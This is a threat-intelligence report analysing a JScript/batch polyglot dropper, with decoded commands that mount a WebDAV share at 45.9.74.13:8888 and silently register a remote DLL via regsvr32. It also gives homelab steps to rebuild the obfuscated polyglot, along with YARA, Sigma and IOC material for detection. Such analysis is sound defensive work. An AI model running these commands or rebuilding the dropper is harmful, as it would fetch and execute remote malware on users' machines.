Unclassified JS WebDAV Dropper: d1af0ff50c79 — Polyglot batch/JS, WebDAV C2 45.9.74.13:8888, 674.dll

Executive Summary:

Sixteenth confirmed sibling of the unclassified-js-webdav-dropper family. This sample (1038027152740111169.js) is a polyglot JScript/batch file that uses SET variable expansion to assemble a batch payload inside a JavaScript comment block, then executes via WScript.Shell. The batch mounts a WebDAV share at 45.9.74.13:8888 and silently registers 674.dll via regsvr32 /s. The JS layer also self-replicates by copying the script to %userprofile%\qeygwp.bat and executing it. No sandbox gates, no persistence, no PowerShell — a minimal one-shot dropper. Static-only analysis (no CAPE detonation; JS is not a supported binary class).

What It Is

The sample is a polyglot: lines 1–66 form a batch script (inside a JS /* ... */ comment block), while line 67 onwards is valid JScript. When saved as .js, Windows Script Host (wscript.exe) executes the JScript portion; the batch portion is ignored because it's inside a comment. When saved as .bat, cmd.exe executes the batch portion directly. This dual-execution path is a deliberate anti-triage measure — the file type depends on the extension chosen by the attacker or victim.

How It Works

Batch Layer (Lines 1–66)

The batch layer defines 62 SET variables with a shared prefix iqrstg and random suffixes, each mapping to a single character. Two batch commands are assembled via %VAR% expansion:

net use \\45.9.74.13@8888\DavWWWRoot\
regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\674.dll

This mounts the WebDAV share and silently registers the DLL payload. No net use /delete cleanup is present — a quick operational signature.

JScript Layer (Lines 67–End)

The JScript layer builds an identical character map in an array iqrstg, then uses the Function('return this')() constructor to obtain the global object (WScript host). It chains:

1. Function('return this')() → global object (WScript)
2. ['WScript']['CreateObject']('WScript.Shell') → WScript.Shell instance
3. ['Shell']['Run']('cmd /k copy ...', 0, false) → hidden window, async execution

The decoded Run argument is:

cmd /k copy "WScript.ScriptFullName" "%userprofile%\\qeygwp.bat" && "%userprofile%\\qeygwp.bat"

This copies the script itself to %userprofile%\qeygwp.bat and executes it — a self-replication mechanism that ensures the payload runs even if the original file is moved or deleted. The 0 argument to Run hides the window; false means the call returns immediately (async).

Decompiled Behavior

Not applicable — the sample is a script, not a compiled binary. No Ghidra, radare2, or capa analysis is possible. The floss.txt and capa.txt entries in the triage directory are artifacts from the automated pipeline (which attempted to run FLARE tools on a text file) and should be ignored.

C2 Infrastructure

The C2 IP 45.9.74.13 is a new addition to the family — previous siblings used 45.9.74.32, 45.9.74.36, cloudslimit.com, cloudskimit.com, and dailywebstats.com. This confirms the family's ongoing C2 rotation.

Interesting Tidbits

• Polyglot anti-triage: The file is simultaneously valid batch and valid JScript — the extension determines which engine executes it. This defeats simple file command identification (reports "ASCII text") and may confuse analysts expecting a pure JS or pure batch dropper. ^[file.txt]
• Shared-prefix SET obfuscation: All 62 batch variables share the prefix iqrstg — a fixed-prefix, random-suffix pattern that makes bulk extraction trivial (grep for set iqrstg) but slows manual eyeball analysis. This is the same pattern observed in siblings e777fd64 (hbutc), ed6b2cd3 (labzf), c6e24c16 (nmnmd), and ceacabb4 (mnihx). ^[strings.txt:1-64]
• No sandbox gate: Unlike the Brazilian unclassified-js-dropper cluster (which checks for aspnet_compiler), this family has no sandbox or debugger checks — it executes immediately on any Windows host with WScript or cmd. ^[dynamic-analysis.md]
• Self-replication: The JScript layer copies the file to %userprofile%\qeygwp.bat and re-executes it — a simple but effective persistence-by-replication technique that doesn't require registry or scheduled tasks. This is the first observed self-replication in the WebDAV dropper family; previous siblings relied on one-shot execution.
• No PowerShell: Unlike dictionary-lookup siblings (e6ebae6a, fb353965, cc90d6c, ccb2d007) which wrap execution in powershell.exe -EncodedCommand, this sample uses pure cmd /k — reducing the process tree footprint and avoiding PowerShell logging. ^[strings.txt:65-66]

How To Mess With It (Homelab Replication)

Reproduce the Polyglot

1. Create the batch layer:

   • Define 62 SET variables with a shared prefix and random suffixes, each mapping to a single character.
   • Assemble two batch commands via %VAR% expansion: net use and regsvr32 /s.

2. Wrap in JS comment:

   • Prefix the batch block with /* and suffix with */ //iqrstg.
   • Append the JScript layer that builds the same character map, uses Function('return this')() to get WScript, and calls WScript.Shell.Run with the self-replication command.

3. Test dual execution:

   • Save as .js and run with wscript.exe — the JScript layer executes.
   • Save as .bat and run with cmd.exe — the batch layer executes.

Verify Behavior

• Expected process tree:

  • .js path: wscript.exe → cmd.exe /k copy ... && ... → regsvr32 /s (if batch re-executes) or direct wscript.exe self-replication.
  • .bat path: cmd.exe → net use → regsvr32 /s.

• Expected files:

  • %userprofile%\qeygwp.bat created and executed (JScript path).
  • 674.dll fetched from WebDAV and loaded (batch path).

• Expected network:

  • HTTP WebDAV traffic to 45.9.74.13:8888 (TCP 8888).

Deployable Signatures

YARA Rule

rule webdav_dropper_iqrstg {
    meta:
        description = "WebDAV dropper with shared-prefix SET obfuscation (iqrstg prefix)"
        author = "analyst"
        date = "2026-06-25"
        hash = "d1af0ff50c793f0f941bd1c38511dc87c050d42185f54ffac5861a31c7d2e20d"
    strings:
        $prefix = "set iqrstg" ascii wide
        $webdav1 = "net use \\\" ascii wide
        $webdav2 = "DavWWWRoot" ascii wide
        $regsvr = "regsvr32 /s" ascii wide
        $self_rep = "qeygwp.bat" ascii wide
        $js_comment_start = "/* iqrstg" ascii wide
        $js_comment_end = "*/ //iqrstg" ascii wide
    condition:
        $prefix and ($webdav1 or $webdav2) and $regsvr
}

Behavioral Hunt Query (Sigma)

title: WebDAV Dropper Execution - Shared Prefix SET Obfuscation
logsource:
    product: windows
detection:
    selection:
        - CommandLine|contains:
            - 'net use \\\"
            - 'DavWWWRoot'
            - 'regsvr32 /s'
        - CommandLine|contains|all:
            - 'cmd /k copy'
            - 'qeygwp.bat'
    condition: selection
falsepositives:
    - Unknown
level: high

IOC List

Behavioral Fingerprint

This binary is a polyglot JScript/batch file that defines 62 SET variables with a shared prefix (iqrstg) to assemble a batch payload via %VAR% expansion. The batch mounts a WebDAV share at 45.9.74.13:8888 and silently registers 674.dll via regsvr32 /s. The JScript layer uses Function('return this')() to obtain the WScript global object, creates a WScript.Shell instance, and calls Run with a hidden-window (0), async (false) command that copies the script to %userprofile%\qeygwp.bat and re-executes it — achieving self-replication without registry or scheduled-task persistence. No sandbox gates, no PowerShell, no anti-debug — a minimal one-shot dropper with a self-replication twist.

Detection Signatures

References

• SHA-256: d1af0ff50c793f0f941bd1c38511dc87c050d42185f54ffac5861a31c7d2e20d
• Filename: 1038027152740111169.js
• Source: OpenCTI / MalwareBazaar
• Family: unclassified-js-webdav-dropper
• Sibling Analyses:
  • da58243c — su.js, JScript/batch polyglot, WebDAV C2 45.9.74.13:8888, 67.dll payload. ^[/intel/analyses/da58243c46d0bf1d3d12b48198587fc972cda5589c5039ec6e1ff27a8c0b72b8.html]
  • ffd5d894 — 28773160832892112964.bat, pure batch, natural-language SET obfuscation, WebDAV C2 45.9.74.36:8888, 24013635923706.dll payload. ^[/intel/analyses/ffd5d894f5e350baace2342fc3c2c7de63a82138469db1694c35c732cf0c9df4.html]

Provenance

• Analysis based on manual static deobfuscation of the JScript/batch polyglot file.
• Tools used: Python 3 (manual string replacement), file (file type), cat (content inspection).
• No CAPE detonation — file type (ASCII text) is not a supported binary class for detonation. ^[dynamic-analysis.md]
• Date: 2026-06-25